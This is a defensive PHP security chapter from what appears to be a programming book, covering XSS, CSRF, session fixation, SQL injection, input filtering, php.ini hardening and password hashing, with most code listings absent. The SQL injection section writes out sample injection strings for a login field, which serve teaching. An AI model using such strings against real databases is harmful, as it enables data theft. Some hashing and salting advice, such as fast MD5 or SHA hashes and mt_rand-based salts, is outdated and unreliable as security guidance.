C H A P T E R  11

Security

When programming web pages, it is very important to think about security. There are a lot of potential site vulnerabilities that an attacker will try to exploit. A good PHP developer needs to remain both diligent and current with security practices. In this chapter, we will cover some best practices and techniques to harden our sites.

A key idea of this chapter is to never trust data or the intentions of the user. User data that we need to filter and escape can come from multiple sources, such as URL query strings, form data, $_COOKIES, $_SESSION, $_SERVER arrays, and Ajax requests.

We will also go over common attacks and their prevention, covering the following topics:

• Cross Site Scripting (XSS) prevention by escaping output
• Cross Site Request Forgery (CSRF) prevention by using hidden form tokens
• Session fixation prevention by not storing the session ID (SID) in a cookie and regenerating the SID at the start of every page
• SQL injection prevention using prepared statements and PDO
• Using the filter extension

We will also discuss how to solidify our php.ini and server settings and cover password-hashing strength.

Never Trust Data

In the television series the X-Files, Fox Mulder famously said, “Trust no one.” When it comes to web programming, we should follow this advice. Assume the worst-case scenario: that all data has been tainted. Cookies, Ajax requests, headers, and form values (even using POST) can all be spoofed or tampered with. Even if users could be completely trusted, we would still want to ensure that form fields are filled out properly and that we prevent malformed data. Therefore, we should filter all input and escape all output. Later in this chapter, we will look at some of the new PHP filter functions that make this process easier.

We will also discuss configuring php.ini for increased security. However, if we write a library of code for use by the general public, then we can not ensure that the end developer has followed best practices in their php.ini file. For this reason, we should always code defensively, and assume that the php.ini file has not been tightened up.

register_globals

A best practice is to always initialize variables. This is a safeguard against attacks that are made possible when the register_globals directive is turned on in php.ini. With register_globals enabled, $_POST and $_GET variables are registered as global variables within a script. If you append a query string such as "?foobar=3" to a script, PHP creates a global variable with the same name behind the scenes:

With register_globals enabled and the URL set to http://foobar.com/login.php?is_admin=true, the script in Listing 11-1 will always be granted admin privileges.

The attacker would have to guess the correct name of the $is_admin variable for the attack to work. Alternatively, if a known library is being used, an attacker can easily find variable names by studying the API or full source code of the library. The key to preventing this type of hack is to initialize all variables, as in Listing 11-2. This ensures that register_globals cannot override existing variables.

Whitelists and Blacklists

We should not use $_GET or $_POST values for include or require function calls. This is because the filenames will be unknown to us. An attacker could attempt to bypass the document root restrictions by prefixing the filename with a string like "../../". For variables inside of include and require calls, we should have a whitelist of acceptable filenames or sanitize the filenames.

Listing 11-3 demonstrates how to accept a whitelist of acceptable filenames.

For files that our script opens, the basename function can help to ensure that the files included do not get outside of our document root.

For external URLs supplied by the user and retrieved with file_get_contents, we need to filter the filename. We can use the parse_url function to extract the URL and drop the query string, or use FILTER_SANITIZE_URL and FILTER_VALIDATE_URL to ensure a legal URL. We will discuss using filters later in the chapter.

Form Data

Most readers are aware that form fields submitted with the HTTP GET method can be altered by modifying the URL query directly. This is usually the desired behavior. For example, the search form of http://stackoverflow.com can be submitted using the query alone. See Listing 11-4.

The actual markup of the search form is shown in Listing 11-5.

The same search results can be obtained via a telnet client using HTTP requests directly, as shown in Listing 11-6.

A common misconception is that forms using the HTTP POST method are more secure. Though not directly modifiable through the URL query anymore, a user could still directly submit a query through telnet. If the previous form used the POST method, <form id="search" method="post" action="/search">, we could still send a query request directly using a modification of our previous telnet commands.

As you can see in Listing 11-7, the actual form markup is unnecessary. If we know the structure of the POST variables expected, we can send them along in a POST request. If an attacker is listening in on network traffic, they can easily see the form content being communicated back and forth. They can then attempt to spoof the form by repopulating it with valid values and submitting it. One way to eliminate form spoofing is to check that a hidden form token has been sent by the server along with the request. This will be covered later in this chapter, in the section “Cross-Site Request Forgery (CSRF).”

When the form data contains very sensitive information, such as a username and password for a bank, then communication should be done using a Secure Sockets Layer (SSL). SSL prevents eavesdroppers from listening in on network traffic.

$_COOKIES, $_SESSION, and $_SERVER

We cannot trust data in $_COOKIES to contain legitimate values, because the cookie data is stored on the client side and can be easily modified. Cookies are also vulnerable to cross-site scripting attacks, which we will discuss later in the chapter. For these reasons, we should use server-side $_SESSION data for any sensitive data. Although much more secure than cookies, sessions are susceptible to session fixation attacks. We will discuss prevention of session fixation later in the chapter as well. Even the $_SERVER variables should not be completely trusted. $_SERVER variables are generated by the server and not PHP. The variables that start with HTTP_ are from HTTP headers and can be easily spoofed.

Ajax Requests

In Ajax, which is discussed in depth in Chapter 15, an XMLHttpRequest object commonly sends an X-Requested-With header, like so:

In a PHP script, a common technique to ensure that a request came from Ajax is to check for this header with:

The header can be spoofed, however, so this does not guarantee that an Ajax request was sent.

Common Attacks

In this section we will discuss the two most prevalent attacks, XSS and CSRF, and show how to prevent them.

Same Origin Policy

As a prerequisite to learning about common attacks, we need to discuss the same origin policy. The same origin policy is a security implementation by browsers for client-side scripts, like JavaScript. It enables a script to access functions and elements only on the same protocol, host, and port. If any one of these differs, then the script is prevented from accessing the external script. Some attacks occur because the same origin policy is illegitimately circumvented to exploit a user or website.

Cross Site Scripting (XSS)

Cross Site Scripting (XSS) is an attack where a client-side script, like JavaScript, Jscript, or VBScript, is injected into a web page. XSS works by bypassing the same origin policy and can only occur when you are outputting data into the browser. For this reason, it is very important to escape all outputted user data.

XSS attacks exploit a user's trust in a site. An XSS attack commonly steals cookies. The implanted script reads document.cookie from the trusted site and then sends the data to the malicious site. With XSS, client side scripts are the enemy. As soon as an attacker finds a way to inject an unescaped client side script onto the outputted page, they have won the proverbial battle.

What XSS Attacks Look Like

Any place that a user can input JavaScript (or another script) without it being filtered and escaped when redisplayed is vulnerable to XSS. This commonly occurs in the following:

• Comments or guest books.

or

• PHP forms that are not filtered and escaped when redisplayed. This could be in a log-in, sign-up, or search form.

Consider a form that populates field values using $_POST data. When the form is submitted incompletely, then the previous values fill the input fields. This is a common technique used to maintain state with forms. It enables a user to not have to reenter each field value if they input an illegal value or miss a required field. Consider the PHP script shown in Listing 11-10.

If we input into field_1 the value:

and nothing into field_2, then our submitted form will fail our validation check. The form will redisplay with our unescaped sticky values. The generated markup will now look like Listing 11-11.

The attacker has been able to insert JavaScript onto the page. We can prevent this by escaping the variables that we will output:

This gets rid of the threat, producing the harmless markup shown in Listing 11-12.

• URL query string variables can easily be abused if not filtered and escaped on output. Consider this URL with query string:

and the PHP code

Preventing XSS Attacks

To prevent XSS, we need to escape any output data that the user could inject malicious code into. This includes form values, $_GET query variables, and guestbook and comment posts that could contain HTML markup.

To escape HTML from an output string, $our_string, we can use the function

We can also use filter_var( $our_string, FILTER_SANITIZE_STRING ). We will discuss the filter_var functions in more detail later in the chapter. To prevent XSS while allowing more freedom in outputted data, the PHP library HTML Purifier is one of the most popular methods. HTML Purifier can be found at http://htmlpurifier.org/.

Cross-Site Request Forgery (CSRF)

CSRF is the opposite of XSS in that it exploits a site's trust in a user. CSRF involves a forged HTTP request and commonly occurs within an img tag.

An Example CSRF Attack

Imagine that a user visits a website containing the following markup:

The URL in the src attribute is visited by the browser with the intention of fetching an image. Instead, a PHP page with query string is visited. If the user has been to attackedbank.com recently and still has cookie data for the site, then the request could go through. More complicated attacks spoof the POST method using direct HTTP requests. The difficulty in a CSRF for an attacked website is the inability to differentiate valid from invalid requests.

CSRF Prevention

The most common technique used to prevent CSRF is to generate and store a secret session token when the session ID is generated, as shown in Listing 11-13. Then the secret token is included as a hidden form field. When the form is submitted, we ensure that the token is present and matches the value found in our session. We also ensure that the form was submitted within a specified time period.

We then validate that the secret token value matches and the generation time is within a specified range (see Listing 11-14).

Sessions

Session fixation occurs when one person sets another person's session identifier (SID). A common way to do this is using XSS to write a SID to a user's cookies. Session IDs might be retrieved in the URL (e.g., /index.php?PHPSESSID=1234abcd) or can be listened for in the network traffic by an attacker.

To safeguard against session fixation, we can regenerate the session at the start of every script and set directives in our php.ini.

In our PHP files, we can replace the session ID with a new one, but keep the current session data. See Listing 11-15.

In our php.ini file, we can disable using cookies to store the SID. We also prevent the SID from appearing in the URL.

To prevent session fixation, we can also store the values of some $_SERVER information, namely REMOTE_ADDR, HTTP_USER_AGENT and HTTP_REFERER. We then recheck these fields at the start of every script execution and compare the values for consistency. If the stored and actual values differ and we suspect tampering of the session, we can destroy it with session_destroy();.

One final safeguard is to encrypt session data server-side. This makes compromised session data worthless to anyone without the decryption key.

Preventing SQL Injection

SQL injection can occur when input data is not escaped before being inserted into a database query. Whether malicious or not, SQL injection affects a database in ways that the query was not intended to. A classic example of SQL injection is on the query string:

If an attacker can correctly guess or determine (through displayed error or debugging output) database table field name(s) corresponding to form input(s), then injection is possible. For instance, setting the form field "user" to "foobar' OR username = 'foobar2", without escaping the data on submit, has the result of being interpolated as:

This allows the attacker to view information from two different accounts.

An even bigger injection would be the input string "foobar' OR username = username"

which would be interpolated as

Because "username = username" is always true, the entire WHERE clause will always evaluate to true. The query will return all of the records from the BankAccount table.

Still, other injections could alter or delete data. Consider the query:

and a $_POST value of:

Without escaping the variable, this is interpolated as:

which will drop the BankAccount table.

If you can, you should use placeholders, such as those found in PHP Data Objects (PHP). From a security perspective, PDO allows placeholders, prepared statements, and binding data. Consider the three variations of a query with PDO shown in Listing 11-16.

PDO also provides the quote function:

If you are not using PDO, then there are alternatives to the quote function. For MySQL databases, use the mysql_real_escape_string function. For PostgreSQL databases, use the pg_escape_string and pg_escape_bytea functions. To use either the MySQL or PostgreSQL escape functions, you need to have the appropriate library enabled in php.ini. If mysql_real_escape_string is not an available option, use the addslashes function. Keep in mind that mysql_real_escape_string handles character encoding issues and binary data better than addslashes, and is generally safer.

The Filter Extension

The filter extension was added in PHP 5.2. The filter extension and filter_var function were touched upon in Chapter 6 - Form Design, but we will go into more depth in this chapter, showing optional FILTER_FLAGS. The filters found in the extension are either for validation or sanitization. Validation filters return the input string if it is valid or false if it is not. Sanitization filters remove illegal characters and returns the modified string.

The filter extension has two php.ini directives filter.default and filter.default_flags which default to:

This directive will filter all the superglobal variables $_GET, $_POST, $_COOKIE, $_SERVER, and $_REQUEST. The unsafe_raw sanitization filter does nothing by default. However you can set the following flags:

The validation filters are FILTER_VALIDATE_type where type is one of {BOOLEAN, EMAIL, FLOAT, INT, IP, REGEXP and URL}.

We can make the validation filters more restrictive by passing FILTER_FLAGS into the third parameter. A list of all validation filters cross referenced with optional flags is available at www.php.net/manual/en/filter.filters.validate.php, and flags cross-referenced with filter are at available at www.php.net/manual/en/filter.filters.flags.php.

When using FILTER_VALIDATE_IP, there are four optional flags:

For FILTER_VALIDATE_URL there are only two optional flags, which are:

The sanitization filters are FILTER_SANITIZE_type where type is one of {EMAIL, ENCODED, MAGIC_QUOTES, FLOAT, INT, SPECIAL_CHARS, STRING, STRIPPED, URL, UNSAFE_RAW}. Of these filters, FILTER_SANITIZE_STRING removes HTML tags, and FILTER_SANITIZE_STRIPPED is an alias of FILTER_SANITIZE_STRING.

There is also FILTER_CALLBACK which is a user defined filtering function.

Sanitize functions modify the original variable, but do not validate it. Usually we would want to run a variable through a sanitizing filter and then a verifying filter. Here is an example usage with the EMAIL filter:

The function filter_var_array is similar to filter_var but can filter multiple variables at a time. For filtering superglobals, you would use one the following three functions:

• filter_has_var($type, $variable_name) where type is one of INPUT_GET, INPUT_POST, INPUT_COOKIE, INPUT_SERVER, or INPUT_ENV and correspond to the respective superglobal array. Returns whether the variable exists.
• filter_input, which retrieves a specific external variable by name and optionally filters it.
• filter_input_array, which retrieves external variables and optionally filters them.

For filter meta information, use the following two functions:

• filter_list, which returns a list of supported filters
• filter_id, which returns the ID of a filter

php.ini and Server Settings

Central to a hardened environment is having a properly configured php.ini file and a secure server/host. If the server is compromised, then any additional security measures we place are in vain. As an example, it is no use filtering data and escaping output in a PHP file if that file becomes writeable to an attacker.

Server Environment

The less a potential attacker knows about our server environment the better. This includes physical server information, whether our site has shared hosting, which modules we are running, and php.ini and file settings. Known security improvements in a new version of Apache, PHP, or a third-party library mean that an attacker will know exactly what can be exposed in an older version. For this reason, we do not want to be able to show phpinfo() on a production environment. We will later look at how to disable it in php.ini.

On Apache servers, we can use .htaccess to restrict the access and visibility of files. We can also add index files to directories so that directory contents are not listed. It is also important to not allow files to be writeable by the web user unless absolutely necessary. We want to write protect directories and files. Setting directory permissions to 755 and file permissions to 644 limits non-file owners to read access and non-directory owners to read and execute access.

We also cannot depend on a robots.txt file to block web crawlers from reading sensitive data on our site. In fact, it may help direct a malicious crawler straight toward it. For this reason, all sensitive data should be outside of the document root.

If we are in a shared hosting environment, we need to be able to trust that our host uses best practices for security and quickly patch any new vulnerability. Otherwise, exploits on other sites on the server could allow access to our site's files. We will discuss using PHP safe_mode in the next section. Finally, we should go over the server and PHP logs periodically to look for suspicious or erroneous behavior.

Hardening PHP.INI

There are several directives in a php.ini file that should be adjusted for optimum security, which we will go over now.

We want to ensure that in a production environment any potential errors are not output to the screen display, possibly exposing some internal details of our filesystem or script. We still want to be aware of the errors, but not display them.

This extra effort goes to waste if the log files can be found and read. So make sure that the log is written outside of the document root.

As previously discussed, register_globals can be a big security hole especially if variables are not initialized.

Magic quotes attempts to automatically escape quotes. However, this leads to inconsistencies. It is best to use database functions for this explicitly.

As previously mentioned, we should disable setting the SID in cookies or the URL.

We can disable higher risk PHP functions, enabling some if need be.

There is the equivalent directive for PHP classes, where we can disable any that we do not want PHP to be able to use.

We can harden how PHP handles file access and remote files:

The directive open_basedir limits the files that can be opened by PHP to the specified directory and subtree.

For shared hosting, safe_mode restricts PHP to be executed by the appropriate user id only. However, it does not restrict other scripting languages such as Bash or Perl from doing the same. This limits the actual amount of safety we can expect from this directive.

Password Algorithms

In this section, we will look at the strength of password hashes. When storing user passwords, we want to use a format that makes it hard for attackers to discover the password even if they hack into our database. For this reason, we never want to store a password as plain text. Hashing functions take an input string and convert it into a fixed length representation.

Hashes are a one way algorithm, meaning that you cannot get the input string from the hash. You have to always rehash the input and compare the result to a known, stored hash. The crc32 hash function always represents data as 32-bit binary numbers. Because there are more strings than representations, hash functions are not one to one. There will be unique strings that generate the same hash. The Message Digest Algorithm (MD5) converts an input string into a 32-character hexadecimal number or to the equivalent 128-bit binary number.

Even though hashing is one way, computed results known as rainbow tables provide reverse lookups for some hashes. MD5 hashes have a known rainbow table. For this reason, if a database stores passwords in MD5 format and is compromised, then user passwords can be easily determined.

If you use MD5 hashes, we have to make them stronger by salting them. Salting involves appending a string to a hashed result and then rehashing the concatenated result. Only if we know what the additional salt is for a hash can we regenerate it from an input string.

In PHP, the function mt_rand is newer and has a faster algorithm then the rand function. To generate a random value between 1 and 100, you would call:

The function uniqid will generate a unique ID. It has two optional parameters, the first being a prefix and the second being whether to use more entropy (randomness). Using these functions, we can generate a unique salt. See Listing 11-20.

We would also need to store the value of $salt in a database for later retrieval and regeneration of the hash.

Stronger than the md5 hash is the US Secure Hash Algorithm 1 (SHA1) hash. PHP has the sha1() function:

For PHP 5.1.2 and later, you can use the successor of sha1, sha2. As you would expect, sha2 is stronger than sha1. To use sha2, we need to use the more generic hash function, which takes a hash algorithm name as the first parameter and an input string as the second. There are over 30 hash algorithms currently available. The function hash_algos will return a list of all the available hashing algorithms on your version of PHP.

Alternately, the crypt function can be used with several algorithms such as md5, sha256, and sha512. However, it takes more rigid salt lengths and varying prefixes, depending on the algorithm used. As such, it is more difficult to remember the correct syntax to use.

Finally, when trying to build a login system for your site, existing solutions like OpenID or OAuth offer a guaranteed level of protection. Consider using something established and tested unless there is a need for a unique solution.

Summary

In this chapter we covered a lot of ground. We discussed the importance of security in PHP scripts. We talked about not trusting any data in our program and escaping output. We discussed using the filter extension and guarding against session fixation, XSS, and CSRF attacks. We also went over SQL injection and keeping our filesystem secure. Finally, we showed how to adjust the php.ini file for security and the strengths of password hashes.

When thinking about security, the main point to remember is that data and the user should not be trusted. While developing an application, we must assume that data could be compromised and that the user is looking for exploits, and take preventative safeguards.